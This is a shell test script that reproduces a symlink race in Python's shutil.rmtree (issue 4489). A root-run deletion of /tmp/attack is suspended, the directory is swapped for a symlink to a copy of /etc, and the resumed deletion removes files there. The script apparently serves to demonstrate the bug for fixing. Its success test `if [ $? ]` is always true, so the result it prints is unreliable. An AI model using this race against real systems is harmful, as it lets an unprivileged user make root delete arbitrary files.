# has to be run with `. test_issue4489.sh` in current shell, otherwise
# job control does not work

FILL_ETC='for i in xrange(0, 50000):
    with open("/root/etc/" + str(i), "w") as f:
	f.write("0")
'

function prepare() {
	echo -e "=====================\nPREPARE"
	sudo cp -a /etc /root/etc
	echo "$FILL_ETC" | sudo python2.6 -
	mkdir /tmp/attack
	cp -a /root/etc/* /tmp/attack
}

DO_ATTACK='from shutil_patched import rmtree
print "\nPRESS CTRL-Z TO SUSPEND EXECUTION ASAP\n"
rmtree("/tmp/attack")
'

function run_attack() {
	echo -e "=====================\nLAUNCH ATTACK"
	echo "$DO_ATTACK" | sudo python2.6 -
	rm -rf /tmp/attack
	ln -s /root/etc /tmp/attack
	fg
}

function cleanup_after() {
	echo -e "=====================\nCLEANUP"
	sudo rm -rf /root/etc
	rm -rf /tmp/attack
}

prepare
ls /root/etc > orig_list.txt

run_attack
ls /root/etc > new_list.txt

diff -q new_list.txt orig_list.txt
if [ $? ]
then
	echo -e "=====================\nWARN: ATTACK SUCCESSFUL"
else
	echo -e "=====================\nOK: attack has no effect"
fi

cleanup_after
